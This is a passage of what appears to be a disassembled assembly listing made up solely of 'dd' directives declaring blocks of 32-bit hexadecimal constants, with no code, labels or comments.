		dd 0C50633C6h, 723790CDh, 0B854BB9Eh, 4AD5BDFAh, 5A0AFA40h
		dd 345EDCF1h, 0ED9A6988h, 678D76E3h, 28A6F6A0h,	0C9377EB9h
		dd 1C00B928h, 384674EEh, 500F2718h, 0CFB3EA52h,	0D38D5DEFh
		dd 157AF397h, 1B23D40Eh, 9A47D76Bh, 0FD1EB029h,	0ECCE6C41h
		dd 0EA5F9D3Ch, 0CA2ACBEBh, 79803AA0h, 3D081298h, 0D90BEE01h
		dd 0E8D264A4h, 0FC85B465h, 61FB4976h, 30F4D82Dh, 90A7884Fh
		dd 6622ED2Dh, 0D86F59A0h, 9721A35Ah, 0A4F09FB0h, 618D8034h
		dd 9E3C0E1Dh, 0D8A94A87h, 0FDA798BBh, 6D7B169Ah, 0A1ADC2E8h
		dd 0CA909E2Ch, 13AED227h, 0D112F472h, 0CFB7A566h, 0EEB64DF6h
		dd 30D44951h, 655C1E4h,	99618753h, 0DDE5C0A0h, 7C1F1BADh
		dd 39BCC445h, 3CA7DEE2h, 75B69CCBh, 4538ED10h, 944FD310h
		dd 0E8D14DBCh, 62906F79h, 0A1281768h, 0C3B04394h, 0CC05C0BBh
		dd 0A08A7F15h, 5C97B62Eh, 0C0990C9Bh, 5EE568B2h, 48659F9Eh
		dd 37AC87C5h, 8CC781C9h, 9EBDFF80h, 0DFBDBD13h,	0FC04D1F6h
		dd 0F123A231h, 3292FDE4h, 705E8CCDh, 0E93A97AEh, 2C47AF73h
		dd 14933CCEh, 1A882A0Ch, 0E7F1CC6Fh, 6BB1A2Bh, 3C078951h
		dd 142302DBh, 0C055739Fh, 0AB1EDB61h, 0A388D628h, 0EA3CC110h
		dd 0C924B3EEh, 0EA0030BDh, 995F0494h, 23F8A381h, 96E2141Bh
		dd 0EAD9DD9Ah, 7BF928B0h, 25FBD325h, 83838A04h,	29E92C48h
		dd 9FDFEF40h, 465EBA24h, 4E9F12FCh, 8996B71Eh, 0F3225407h
		dd 0C0AC4FD8h, 0E8C09297h, 5116BE2Ah, 8BE4B606h, 0A844CE65h
		dd 5C279368h, 0F218B67Ah, 91D4BB32h, 0D8816AD0h, 4BBD2465h
		dd 0B646F914h, 0FE06F533h, 0C9AB1A93h, 64064AD2h, 35BDF732h
		dd 118F8BF7h, 3FB3EA9Ah, 0E38FA1Eh, 66C5D60Bh, 2F8342BEh
		dd 81FF6AFCh, 63593D6Ch, 7E897AF8h, 0B7569CCFh,	0CFB47E28h
		dd 67DBFE72h, 9431DC9Ch, 2864E29Fh, 0DF4FA0F3h,	0FA91B1D1h
		dd 3F1ED285h, 6E888294h, 42ADE7Ch, 7E73AD9Dh, 97CC37ACh
		dd 1491EB69h, 63A7E020h, 0E293DE90h, 2B7D2C41h,	43A0F8D9h
		dd 5831390Fh, 0EF020069h, 83DD4CE3h, 0C005EA0Bh, 0A63983F0h
		dd 0B15472E2h, 9B78F087h, 0CEDA92B7h, 0E01D317Ah, 0E26BA9FCh
		dd 2B2CDFEh, 8CAC3CECh,	69D6F80Eh, 99FE3518h, 45F5F58Ah
		dd 0A5A46AFCh, 52A19A93h, 0A4ECCA35h, 3249E57Ah, 0D89BD7B9h
		dd 0B36BB43Bh, 20841CDBh, 0E129AD1Fh, 0E9A5061Ah, 1B8A50E2h
		dd 0E13CC7EBh, 56714ED8h, 0CFC7220Dh, 0E48F1B6Bh, 3D6ABC54h
		dd 0EE0D3ABFh, 85B4E343h, 0E306A180h, 3EAD7C77h, 1294BD8Dh
		dd 6ADC91DCh, 0AEAAD2Dh, 1F7E888Dh, 2E610EAh, 31C88A8Fh
		dd 26B221D9h, 36C5A2Ah,	0B464F60Bh, 2908B9FAh, 0B5B1D126h
		dd 4E4C31EEh, 98EC7B5Ah, 0F0357BEh, 8EF340CDh, 57DEEBAEh
		dd 0CE8B0AA1h, 1424E505h, 34CAB915h, 0E683A8DBh, 7972DE90h
		dd 343DB3B2h, 840EE841h, 4305FCA2h, 97E4D557h, 84AE3623h
		dd 0F6B98C46h, 6CFAF6E1h, 38607133h, 9A26FC5h, 2CC69E33h
		dd 0AE325651h, 24D3256Eh, 988B9785h, 0CBFA9E81h, 91550B84h
		dd 0E06BE3A1h, 0D7D08F1Ch, 8B0FA6BEh, 0CA2C2357h, 0ED0FF7BCh
		dd 6AC7C2DAh, 3A88EA41h, 99E63E52h, 79EBB38Fh, 2FA830B5h
		dd 97BDD440h, 47F7D8E5h, 24BA239Ah, 0B5497E52h,	0E12E6643h
		dd 6AD40EDCh, 0F74A7612h, 0CF1D3613h, 0DE1C7DEEh, 6E1190A0h
		dd 0A45D8B03h, 0CBD810E7h, 0FE993A9Dh, 682AE10Dh, 0BC3853C3h
		dd 89CB0A7Bh, 87D9A8C5h, 7E755019h, 0D5A9E84Dh,	0ADCD9DDh
		dd 67E5E942h, 3550E918h, 549409D2h, 0E95A82Eh, 20F487B9h
		dd 26B4B19h, 64A1D738h,	0E245E053h, 0C471E965h,	3F183FE8h
		dd 0F01A3705h, 922A0ADEh, 69434354h, 0A2C3FEABh, 0F95D9191h
		dd 40EB3562h, 319FE266h, 0BD334AC9h, 3960DBDBh,	6080AAB2h
		dd 0BDFA60Bh, 0DE53F6D4h, 43FF3AB2h, 3A9970F8h,	4D904C43h
		dd 0BEBDC0F0h, 4C722A2Bh, 2CBAFBDEh, 0F008E65h,	0BEA16E52h
		dd 0CBDC39A4h, 54B6DCC3h, 0F635C8B1h, 91FB7588h, 8815DCB3h
		dd 0D3389F95h, 0FD4F6ED0h, 0D4186024h, 7AD49988h, 311BA0F9h
		dd 2EE03D48h, 0D832517Dh, 6FF913BEh, 0AD0D30BEh, 97BFD6DDh
		dd 5FABE7C0h, 272194B7h, 8223044Ah, 0F2D24DCEh,	70D50FDDh
		dd 0B37B752Eh, 0F6E95842h, 1A4F02B8h, 22768CAEh, 9A510680h
		dd 808A8CA8h, 618B4DC8h, 2C7F5B38h, 0B67B0C8Fh,	9B8DF64Eh
		dd 0D21E24CEh, 702EDE77h, 4C9DC0DDh, 8E833F17h,	1A2EA46Dh
		dd 7E738E27h, 0F226CA4h, 684B5B3h, 23061A73h, 31548AF5h
		dd 0B62A2C09h, 0E4D4994Bh, 0F4141D6Fh, 623B87EEh, 0B5593547h
		dd 216D184h, 190125E8h,	0FDE09641h, 0CEEB3D41h,	18AB4543h
		dd 0DE3BABh, 0B0320026h, 5148B7A1h, 7A94BCAEh, 9CC3A70Bh
		dd 0AB6DE5C8h, 37A9E676h, 74C3EBE3h, 0D5FC1459h, 8597AC5Eh
		dd 54311B0Eh, 6EB8ECDCh, 0A8A9D39h, 0A3E46F42h,	2B147F67h
		dd 4FAA9D74h, 9556C915h, 0ABEB2BD5h, 0CC0BAFD8h, 0B4269F87h
		dd 0C777C9ACh, 8F05F073h, 8564D3F7h, 0FA43C7EEh, 0B95D2E42h
		dd 0F6BB4675h, 708B5AADh, 8EF231A8h, 88E2CA57h,	7DF6C872h
		dd 60F137DCh, 0C2E89210h, 8B8B669Eh, 6FE9EFB9h,	0E92FE63Dh
		dd 0F7B3576Fh, 0B041ADF0h, 0B823CFCDh, 0A80DD145h, 0AF91D168h
		dd 0ADB2C86h, 1D5D6ACDh, 9D1A4279h, 0B882EF63h,	0D19230D8h
		dd 61EBD768h, 0CDB8FD13h, 0F6EF6B0Ah, 7665F00Bh, 0E07B8257h
		dd 8A0E0F57h, 5DF0CBFCh, 6138A546h, 50798EC3h, 28DA1237h
		dd 492914Bh, 2E311773h,	2BE3D0B2h, 0E2DE1F5Fh, 40728B82h
		dd 53BC7C68h, 0BE01B631h, 9578D61Ch, 66FD85F0h,	30F473C3h
		dd 0EE6BD216h, 682BB0B2h, 3491B6BBh, 0A8BB10h, 377E6495h
		dd 4CB2BE85h, 3BA6BB07h, 0C8E566D0h, 86D5888Dh,	163E7546h
		dd 5DC5B1AEh, 2B36BE71h, 0B9772987h, 0AC503F79h, 0FA7BBF12h
		dd 5263AE51h, 91A817A4h, 812288F2h, 8732DFD7h, 0CF7400AAh
		dd 6978D51Dh, 9AB06AD0h, 0CDCD88D8h, 866E304Eh,	0ABB77A44h
		dd 7C8F1BDDh, 8EF426A9h, 0DDEC9B8Fh, 2A3C8026h,	0F95CE94h
		dd 0AFA0A702h, 0C5DE21FCh, 74BABDFFh, 0B43FAFD5h, 0F2A33B07h
		dd 4F4CA8F8h, 0EC6010BDh, 875F5284h, 9CD66675h,	88B6DE1h
		dd 4475BAAh, 9534DD41h,	0BD80D96Dh, 9A192C93h, 719991AFh
		dd 4C12F694h, 1BF703A7h, 9E10B95Eh, 3D4FEA18h, 1736674h
		dd 5A28E8Ch, 5F1B5433h,	0A2487ECAh, 1C543379h, 256F1A23h
		dd 570B2F53h, 2AD3DCB2h, 8166495Fh, 6009A1BFh, 7A165ECFh
		dd 8370D98Eh, 0BA4D421Ah, 71A78089h, 11EF7DD4h,	0CA26DB20h
		dd 230B1ACDh, 388863EFh, 0C88B965Eh, 7D7B168Ah,	31EEEA30h
		dd 46CBC328h, 0D8A340D6h, 0A4908BF6h, 75506AF9h, 1F9CC405h
		dd 5FDFBF10h, 0A4607C8Eh, 493A6971h, 87459101h,	48459E2Ah
		dd 9D8676FEh, 561FE6D3h, 2D338C85h, 0A26CF9C5h,	6F661907h
		dd 97077092h, 0DAC4F6FEh, 8C4B0A45h, 0C3AF6F7Dh, 510B0492h
		dd 932524BAh, 0A49DDE5Ch, 87FA08Ah, 5F43845h, 8098413Dh
		dd 86F6F8CFh, 6DF2D5C3h
		dd 0B43E0ACBh, 0EBAE0D5Ah, 955B75EAh, 69731CE3h, 2E59450Eh
		dd 96C97FE8h, 5A8F631Bh, 167B7AC3h, 9434ECB6h, 0A086933Fh
		dd 0CC9B26A2h, 3637D61Fh, 842EACE5h, 44C520B2h,	0BE18B948h
		dd 4C309376h, 0BC1E5B1Ah, 0E782B5A8h, 5E1CDE3Ch, 0B2710FEAh
		dd 50820C25h, 33087342h, 0EBE5D70h, 628A84F0h, 0A67B3657h
		dd 41B68F9Eh, 19126B68h, 0DDDBA9A9h, 0DD478B4Eh, 0D2F29BFh
		dd 21831E6Eh, 0FA51BE50h, 6D3D3DC6h, 309DFA81h,	2895113Ch
		dd 0B23674EDh, 0D7A908B6h, 66838EB0h, 9EB602ADh, 0CBF0CAB6h
		dd 5B6409D1h, 3EE5F796h, 0F5F97EFh, 0A2A47BAEh,	0F6437F39h
		dd 645DB22Dh, 28538458h, 969138E9h, 3A54B2A4h, 0C854C4D4h
		dd 52410D9Ch, 205B751Bh, 8CA11B89h, 0F153E6EEh,	0D43F7604h
		dd 0FAD66A6Eh, 703F1189h, 0F6F723A8h, 0CC3382B8h, 7C2AE8B7h
		dd 2151B93Ch, 9E9A270Fh, 0E2CA96ACh, 64D392F1h,	0B36334D4h
		dd 0FEA9D903h, 480E17F2h, 4B1C8EB8h, 0A5D77D7h,	0BECB7DD6h
		dd 4E816B27h, 254A4323h, 9215B7BDh, 0A091EDBCh,	0CC142CE2h
		dd 1E558D2Ch, 4958E8A5h, 8EC22086h, 0D50FBE5Ah,	643F8877h
		dd 0E0534346h, 2E968FF2h, 9E1B1F5Ah, 0DC7DC4F0h, 7809AD06h
		dd 66AD3D10h, 3D89EE4Eh, 646BD6F9h, 0F1622C53h,	412BC2CCh
		dd 57D940F6h, 0B39CFB29h, 0A30674ACh, 6329688Eh, 19D48604h
		dd 0F7479F07h, 7C0C3DE6h, 299E7CBEh, 0CA9B4925h, 0F70CD589h
		dd 0F5FC0E36h, 61A584BEh, 0ACB74980h, 89A1D4DAh, 79664EF4h
		dd 1DBCF413h, 15958082h, 0AED66E84h, 48EB7ED9h,	1B6D8804h
		dd 6CC8D571h, 0F88415BEh, 7071B986h, 342DBE93h,	84DB7C1h
		dd 5207EE27h, 0E40C10D2h, 0F64D07D1h, 0F5CF644Eh, 0E8C2775Dh
		dd 0C024C93h, 0FD3879E7h, 0F747DA73h, 45C7DE6Fh, 29DF3B58h
		dd 0E1B2D01Dh, 0F8A4F4DAh, 65EC0FEBh, 0CD0F57D8h, 0A5B00845h
		dd 0DF16EFDAh, 0E460BEA0h, 2D0AC955h, 0DAAED676h, 0ABA7060h
		dd 0A60452Dh, 942D0EEAh, 0BEC3D825h, 0C7823335h, 4FB8C652h
		dd 9B27D52Ch, 8B7C136Eh, 0FC05B546h, 65D49158h,	0AD1D464Bh
		dd 0AFE2EFFFh, 0AD2BB611h, 916FCFA1h, 0DCAFB611h, 0ABC91100h
		dd 0D7D6890Dh, 3823E7C4h, 0FD7E3913h, 196BE799h, 28F44742h
		dd 0B1B4BA5Fh, 0CDD9BEFCh, 2AA488F7h, 528DBA16h, 0D007D56Fh
		dd 381076DEh, 23136AAEh, 57D5453Bh, 3BCACA9Eh, 91E99FA9h
		dd 6E2EDE79h, 0E8FB6C26h, 8C8DC0D7h, 4710299Ch,	69B87604h
		dd 53641DCEh, 8E6451E9h, 91F4D36Ch, 0F759DC06h,	0ABFCD707h
		dd 0A9CA1B86h, 2E22E59Fh, 4E1AD734h, 2F660353h,	5873D513h
		dd 10948BDCh, 10BF2BC7h, 24C66572h, 92E9754Bh, 614404ECh
		dd 2C332DB4h, 1144ECDEh, 1DD5FF1Ch, 364BA26Fh, 0FD1FAAF0h
		dd 0E3CE9AA9h, 62D03E94h, 945612DCh, 0F32E5119h, 48C7F7FAh
		dd 0A8758EBFh, 5CB83399h, 0C5FCFA6Ah, 6BF12D64h, 3C7F6261h
		dd 91250D1Fh, 0DA907537h, 0CB1B6934h, 66ADD07Eh, 578FC6EEh
		dd 2AB2233Ch, 1072A464h, 19218462h, 90550FE6h, 0D586A919h
		dd 0A43E3F57h, 8C3710A0h, 6D1BEC6Ch, 0E143B55Bh, 0D6D01304h
		dd 4941ECF1h, 0F076595Ah, 0FC099293h, 0C9C16DF7h, 0B195F9A2h
		dd 956A5DFAh, 63968D2Ah, 3493D7D5h, 0A072A41Fh,	7F3948BCh
		dd 228577E3h, 85125443h, 37F0CCCDh, 0A3B46D55h,	0CD754022h
		dd 2FBB9442h, 0BDC4FFAEh, 1D3E73BCh, 5BBEC11h, 1E47695h
		dd 0A266A49Ah, 54B59FDFh, 0D5DEC5DDh, 0C76181BBh, 0D5B02C82h
		dd 3644E8DFh, 117EDB97h, 21CE27Ah, 38355A22h, 0F53CED71h
		dd 2D85B4EFh, 268A7009h, 93EE7053h, 16251ACAh, 0FF6028EAh
		dd 232DC301h, 1CC5C5D0h, 0BDE279Ch, 0B42C0D3Ah,	0CF2B7EEEh
		dd 66830990h, 0BC1CFF34h, 0C7B94A17h, 0DDD9A5B8h, 51D2D9E4h
		dd 0B80CA200h, 9FFD32A8h, 2ACC4C81h, 2335A808h,	8E380500h
		dd 0B9C3A955h, 8185AF6Ch, 15138306h, 0EDB33051h, 0B8DFCE9h
		dd 796ED646h, 1430BD78h, 9D48F9E8h, 8392B9B3h, 9C3EF09Fh
		dd 0D47238A1h, 0A1CB82D3h, 750EE0CEh, 0B9382771h, 5D43F2EFh
		dd 0A9BE105Ch, 5D39F09Ch, 0DCC04A03h, 0CBC8A6ADh, 7B3DDD2h
		dd 0F63A6278h, 9BE0FAB1h, 0E3C50513h, 27B917A4h, 4E3D0BB3h
		dd 94AB372Bh, 0F9E61719h, 50FFEDD8h, 0D325758Dh, 0D1FC20BCh
		dd 0DF1DFD9Eh, 0EDE1C3C2h, 5D452597h, 1EA89EE5h, 34CECC17h
		dd 0A1E98CD3h, 51B1A8B5h, 3926D2FFh, 0D703AF2Dh, 204CB22h
		dd 325D6FBAh, 92DA803Eh, 6B37CC03h, 60578E83h, 0B6805AC8h
		dd 5578041Dh, 0A5A9E901h, 0CCC57DFBh, 0F99B4B5Eh, 7387AF70h
		dd 4F0CBCA3h, 988BDBCEh, 4B6E66AAh, 23B538C4h, 6E716DDFh
		dd 0AB4881ACh, 52252B7Bh, 873E9F9Ch, 5497C4C3h,	9C5F47EAh
		dd 40330686h, 3C0A95C8h, 11DEC15Dh, 0FEF3E961h,	0F1747D5Bh
		dd 0F717B44Eh, 75D86F24h, 356F1087h, 0D5CCE3C6h, 6D80FE54h
		dd 33F8CAE1h, 96078C19h, 0C75C4D0Dh, 0FC5F23FBh, 0C7D1985Eh
		dd 7C11A2F0h, 293168E3h, 8AC2BF2Eh, 3A8AD5BAh, 1376DF3Ch
		dd 6A0387Bh, 9C5B37C2h,	592EF068h, 3D0F1EDh, 968DD199h
		dd 0FCF2424Fh, 0F1A20E14h, 74FA120Fh, 0CD9E6008h, 58F83B37h
		dd 0ABCDF6F0h, 538B7CD1h, 0A619B531h, 0AF49AF81h, 0C82D6279h
		dd 0E1B89BD3h, 0EF612660h, 68C598E9h, 0AA734515h, 0EB5BA7AFh
		dd 0CAF65972h, 727FDD9Eh, 2E577942h, 834B76Ah, 183FF1A6h
		dd 23A451C8h, 17F50365h, 0E443EE47h, 0F5524226h, 74BA080Ch
		dd 35FEEF09h, 9484FCF7h, 0C5930BD0h, 7D8B8CB1h,	0C60E4CC3h
		dd 0DC08D3DEh, 6929E2A2h, 32A87AF8h, 169132DDh,	0A700902Bh
		dd 0D3C1233Ah, 47DA9BBCh, 35C6C633h, 8C40C4F2h,	79BDC902h
		dd 31F4B58Ah, 17867172h, 7DAF1150h, 30EF62A3h, 9672BA4Ah
		dd 45A3F626h, 3D18DC04h, 51A4C539h, 0AFA28FB5h,	0D11FD271h
		dd 0E79083D1h, 0CFEDCB61h, 0F80F62E9h, 0CBE0B8D5h, 0FAD8AD0Fh
		dd 0EB4C6082h, 6AC1BB3Eh, 2B64D7B2h, 0A8640C0h,	1B6979F9h
		dd 0A395D785h, 0D7EDE049h, 0C592F91Dh, 0F4935581h, 0ED13004Bh
		dd 0C8536916h, 79330380h, 4A236849h, 9B8A3F17h,	0CA4EF480h
		dd 6348FFC9h, 0AE29F2B5h, 0AB398FFFh, 0CA257258h, 62A493E3h
		dd 0AEE32218h, 48029AEDh, 0DA52C613h, 0E2ABE42Eh, 4EFE7932h
		dd 303ECDBEh, 56D77172h, 4A29807Fh, 62DD63A2h, 55E40ECAh
		dd 6754F2E6h, 1791EE04h, 47645A09h, 0E6461FFDh,	0DD55FD11h
		dd 0A24C1F9Fh, 0FC6BDA52h, 2963B580h, 75E50FE2h, 4D7F8EE1h
		dd 784B7EBAh, 8FD5ACFCh, 6C723CDCh, 0D1AAB0AAh,	277CCAFAh
		dd 760A97DCh, 677FD823h, 8E2155FAh, 33F999Eh, 4629C54Ch
		dd 672C7093h, 8E2A0940h, 36B76ABh, 0C52BA846h, 27BB6538h
		dd 57AA8F85h, 0DF0F3579h, 0D34A8F95h, 0A2A3CA41h, 95B397E9h
		dd 42F05965h, 8ACC4A10h, 306EC954h, 9D35D4Fh, 0D85B68A2h
		dd 39D4A74Eh, 6866C3AAh, 7185D1D4h, 6C6AA977h, 0D296E654h
		dd 24CEC039h, 0F631913Dh, 0A7F059B9h, 0EE701E47h, 0B3407800h
		dd 0E281311h, 0BB247899h, 0A83E2CE7h, 987DE480h, 1BA6FD1h
		dd 0C46B22A9h, 0A59B7FEDh, 0B9FF521Bh, 9182BB64h, 1C7FCE99h
		dd 0DA61946Dh, 0B8105793h, 8898342Eh, 0C40972h,	4C662DDEh
		dd 7AF27961h, 499BAF59h, 631FE5ADh, 55C5CFC7h, 6763D264h
		dd 9711DF44h, 7F822E9h,	0C6C4036Dh, 0A734F399h,	963BEAE5h
		dd 0BF229ADEh, 0B25DC05h, 0BAA2430Ah, 29A3D3B6h, 58037ABAh
		dd 61C2AEF8h, 746AC029h
		dd 0ED9AAF21h, 0A570CAB5h, 0B70C97F5h, 87F6D81Bh, 9EE1D50Ah
		dd 1BD0591Ah, 7AB9E5CEh, 69320010h, 9281149h, 0C0EB7AACh
		dd 24EEAE40h, 579FE43Ch, 5F9E4F01h, 0DB0312BDh,	0D142BFF1h
		dd 0A5A53255h, 96348BE5h, 0BCCCD71Dh, 8AE8F4E9h, 0B8D7E9D7h
		dd 895B5D8Ah, 18D761C2h, 59C6A3DEh, 7875C3A2h, 499A52C8h
		dd 607AE6E5h, 0D4868607h, 0A6FED006h, 3781993Ch, 47005E71h
		dd 0FE401C53h, 0AB207B12h, 72301482h, 752878F6h, 4F2C2CD6h
		dd 6BEAE4A0h, 86BEFB9h,	0C05B62BDh, 0A7BB5FFBh,	0B677425Ah
		dd 168EB3E4h, 5F3DCA19h, 0FAC296EDh, 88AFD813h,	8010752Eh
		dd 44829B2h, 4EE43D7Eh,	7BF27092h, 491B2B42h, 635CA7AAh
		dd 55A6ACC6h, 6770C5F8h, 1789D785h, 0C77C2649h,	0A64201DDh
		dd 973FF061h, 9E31696Bh, 0BB285A96h, 92C3C2Ch, 39AA7335h
		dd 0E82B2B87h, 0B8CB66B6h, 11EAA0F6h, 7C92C120h, 699AAFA9h
		dd 0E884CA7Dh, 9006961Dh, 0B441D803h, 97A0550Ah, 1F701996h
		dd 78080550h, 683C1091h, 89A2194Fh, 80AF7EAAh, 489AC46h
		dd 478C6338h, 67820E85h, 0D70372F9h, 0D740AFD5h, 0A4A03A21h
		dd 96B00FF9h, 0BC88151Dh, 8A0C17F3h, 0B8C3E652h, 82365CEh
		dd 58509D62h, 79E8BD6Eh, 9863C25Ah, 0D2DDC24Ch,	0F73C3623h
		dd 45C1B6E6h, 0B7963016h, 0E7169134h, 0F757427Dh, 5EB70A5Dh
		dd 30776A13h, 7A540402h, 0BA276936h, 0FE453CB6h, 0EB7CF4B0h
		dd 0E03C7FB1h, 5F7DB2A1h, 2CA02FF9h, 2429A225h,	54DBBE5h
		dd 0C3CD619h, 86480EDh,	8664913h, 768BA5AEh, 9A5ED872h
		dd 0DBAD1D1Eh, 0EBB41882h, 0DAF4A74Ah, 0F0C479B6h, 0DB259DC0h
		dd 0F4C7A579h, 4C6DF45h, 9A339A9h, 0E86817CDh, 0AE4C9D1Ch
		dd 0A610E9E7h, 0A7083D48h, 270C3C6Dh, 988A4305h, 888B03AFh
		dd 0B8AB42EAh, 21AA82D4h, 64A2E607h, 0D5828E08h, 1EB0FA0Dh
		dd 0C130A60Dh, 94F0E843h, 9FD0E522h, 23A0E9A2h,	4E281562h
		dd 5B7410A6h, 815D17Eh,	407162AAh, 64A8A246h, 77FDE238h
		dd 6F89CE05h, 0D31F5239h, 3543BE35h, 47A4C233h,	773463F5h
		dd 5C4FB317h, 6A25D6F9h, 58B816DBh, 68268C3Dh, 7843790Dh
		dd 79FB5F6Eh, 0F8602D40h, 0B98EB3C4h, 0F86C8677h, 389FA6D1h
		dd 409AD1FDh, 549C6930h, 0E69FB667h, 3EA1F87Fh,	3B23952Eh
		dd 0DAE5F5A7h, 31079950h, 0FD79CCBEh, 92C3036Ah, 94D90F85h
		dd 2E35028Bh, 416AFFC7h, 54D54216h, 0F7C343D1h,	3F6E222Fh
		dd 5B2572D5h, 88D3A29h,	50191212h, 0CC72080Ch, 0BAA8FD7Eh
		dd 81CF60F0h, 945E1376h, 8D84EBF4h, 0B52F7A8Ah,	875B5CB0h
		dd 0F7B42B4Eh, 0A72BCBC6h, 860FE4EDh, 176A16A3h, 6E6189F7h
		dd 637E3D1Ch, 0E5749C22h, 0DFF17306h, 8B761BD7h, 1914AE92h
		dd 0D1CB7495h, 2CD0DF45h, 41EF52CCh, 0ECEB2B9Bh, 226B7735h
		dd 4D283889h, 4B4AB5B6h, 0F1DF79E0h, 9F19A534h,	8BBFD0EDh
		dd 680C0936h, 0E06486DEh, 0A4C6403Dh, 79E815Dh,	57F261F8h
		dd 0CF665207h, 3BC2AE95h, 5E244A83h, 0B34A48Dh,	528E5193h
		dd 6DC5D97Fh, 5BA9EFDAh, 0E97E90FDh, 38E777ADh,	594D5E1Eh
		dd 0C8E92D58h, 0B1023380h, 0FCEE4719h, 3A1C8640h, 0C1656175h
		dd 149C11BCh, 0C65FAAF9h, 4E41F6FEh, 0F3B39CAEh, 0BE7DF1A7h
		dd 3839B10h, 0F4FFCFDEh, 96C2047Ah, 96198F4Dh, 2E55C227h
		dd 407D1F75h, 54AD72EDh, 77673B56h, 0FF103EAEh,	0BBAC7C55h
		dd 18F1BBA9h, 4898D212h, 0D00D684Ch, 0A429121Eh, 9E4F3860h
		dd 0AB5FFFFEh, 82C4FD78h, 0B58F73F4h, 87EB58B1h, 773C2A0Eh
		dd 0E7A7CC26h, 0A68DE5FDh, 7E9166Bh, 56E2096Bh,	6FFE7DEAh
		dd 0E3F4BCBBh, 5E716382h, 0CB761349h, 39D4AA13h, 41AB7615h
		dd 7440DCC5h, 7D1751CCh, 0E26F2B5Bh, 2BF57795h,	49293839h
		dd 498A350Eh, 0F03EB964h, 9F0985B6h, 8B67206Eh,	0E86811B5h
		dd 20F28A5Dh, 44BF46BEh, 0F71A00C2h, 0DF8CA1F9h, 0BE77347h
		dd 0B96BFE75h, 91D3527Fh, 9C5D586Dh, 0B9C9BF20h, 0BA5C20F5h
		dd 8D2630EDh, 0B1434186h, 7CC7F4A2h, 0E9FED87Bh, 0CBAFE33h
		dd 11AB654Dh, 13C7A6A4h, 0FCC14397h, 0B28191F0h, 2D807921h
		dd 0DA004E43h, 0A0C1F45Eh, 0BE02F55h, 0CA501A83h, 0DD583F35h
		dd 0CCB02D56h, 0F1F6A277h, 0B614D9B9h, 0A0C9218Ch, 184F6AE6h
		dd 4DE2C4BDh, 58DDBAC5h, 42975724h, 0C5E47C3h, 7775B690h
		dd 6FF8345Dh, 74B2E1A7h, 0B16CFCFEh, 0F8C9045h,	431A1BA2h
		dd 6643208Ah, 572690DEh, 5700BBECh, 225DF9B9h, 0FE141BF2h
		dd 62F9475Eh, 0E72BB0C7h, 0AFC5B89h, 731A6B08h,	81B1DD5Ah
		dd 0ADCDD63Ch, 326D05DCh, 0C5ACD8A4h, 0BF2489BBh, 8BBCAC49h
		dd 2FF2A9A8h, 0D0F7D77Dh, 6641819Dh, 456C9C3h, 404456Ah
		dd 0BD7E0846h, 0D28C9528h, 0C634C08Dh, 253D6949h, 2D943EB7h
		dd 0A9669440h, 6295CF14h, 0A91825F7h, 8971E398h, 0CC43F632h
		dd 0F1C83688h, 9C927BF5h, 0D4FBDA39h, 0FCED4EB2h, 986C6C87h
		dd 7D3213FAh, 58D4E5A2h, 9886D075h, 68ECA56Dh, 93F3A708h
		dd 94E340FFh, 6BE445B1h, 52819280h, 9B651548h, 4C307714h
		dd 504F9D37h, 7D060065h, 79CC736Fh, 80190453h, 766B5943h
		dd 155F869Ch, 76C40A3Eh, 0BA96D090h, 0D4ACD289h, 0D13C1140h
		dd 0E5BD7989h, 0F0C5171Ch, 1B15DC81h, 0D84A6512h, 18250FAEh
		dd 78B2F572h, 60D8EF9Eh, 228CDA42h, 429A1FEAh, 66831D66h
		dd 570693E8h, 6640B855h, 9761CACFh, 87302CE2h, 6B8052Eh
		dd 472CF6BAh, 66CEE9BCh, 772D1D3Bh, 0D0D39C62h,	24ABA358h
		dd 76AB4395h, 0E78AB2CDh, 8E0ACAF5h, 8342D227h,	8622A828h
		dd 7F30C73Dh, 0CA2891BDh, 0A96CD933h, 0A92AD572h, 10BBD842h
		dd 7FEBA52Ah, 6B8F6082h, 89A8148h, 400332B7h, 0E4478A40h
		dd 37E15639h, 0CF71B405h, 0E3184939h, 0BD43CDB5h, 93A66971h
		dd 9D312751h, 0B949A1A1h, 88AC21C9h, 0B9F20365h, 884B7647h
		dd 989C9626h, 19F2BE0Ch, 5887CC09h, 0F99D5377h,	0A8866790h
		dd 7080C6D1h, 0F481F1F3h, 8E806926h, 0B800666h,	5801F05Eh
		dd 1840690Ch, 5BA01B83h, 0E0707C76h, 15882D16h,	76BCE380h
		dd 7682EE49h, 0CF0FE2F5h, 0A0C19E1Fh, 0B4206228h, 4C8A03FBh
		dd 84F32947h, 604F71A8h, 0A84A2612h, 1022EC2Eh,	7CB2E532h
		dd 62E8E7BEh, 0D8CDE72h, 421A1DD2h, 66C31A62h, 57E6926Ah
		dd 6650B816h, 1719CAECh, 47342C95h, 0E6A60537h,	0B72DF6BEh
		dd 6ECE6842h, 732CDD3Ah, 6ED3FC62h, 6BA35358h, 513B5B95h
		dd 946ABECDh, 866ACCF5h, 87F2D327h, 852AA8A8h, 7C3CC6FDh
		dd 0CEAA91DDh, 0A92FD923h, 0A9C9557Ah, 158B985Eh, 7F93DCBFh
		dd 6B8B7083h, 88848948h, 5EA36B7h, 0C1971841h, 22588538h
		dd 0D2D1C784h, 9F184978h, 0B343D595h, 92A66541h, 9DB12169h
		dd 0B909A0A5h, 88CC214Fh, 0B9E202A4h, 8537627h,	0D8989636h
		dd 39F4BE04h, 6886CC15h, 0F19DD371h, 0AC86A791h, 0F280E6D1h
		dd 0B581C1F3h, 0AE001126h, 1BC01A66h, 4061FE5Eh, 6450680Ch
		dd 55B81B03h, 0E1747CB6h, 150E22F6h, 76FDE390h,	76E26E41h
		dd 0CF1F22F9h, 0A0D97E1Dh, 0B424522Bh, 97D73BFCh, 1FA90E1Dh
		dd 2A9CB4F3h, 49C3F712h, 0F9AADCAEh, 0B13AC5F2h, 9D608F5Eh
		dd 0FB04D262h, 0B0F203DAh, 67030B6Eh, 57C692E4h, 6660B8D7h
		dd 9711C50Ch, 7382C85h,	0C6A4053Fh, 0A72EF6B2h,	16C9E840h
		dd 7F2C9D39h, 0ECD3DC65h, 0A2A94359h, 0B1AA5395h, 75DEBACDh
		dd 6E1FDEF5h, 4AB6C027h
		dd 7BC6B728h, 88ECD6BDh, 38F081FDh, 595AC913h, 0A9E9C282h
		dd 109C585Ah, 7F9BE52Eh, 6B870080h, 8869137h, 0C0013AB6h
		dd 24408E40h, 57E0D439h, 0DF71F705h, 9B1856B9h,	0B941DDF5h
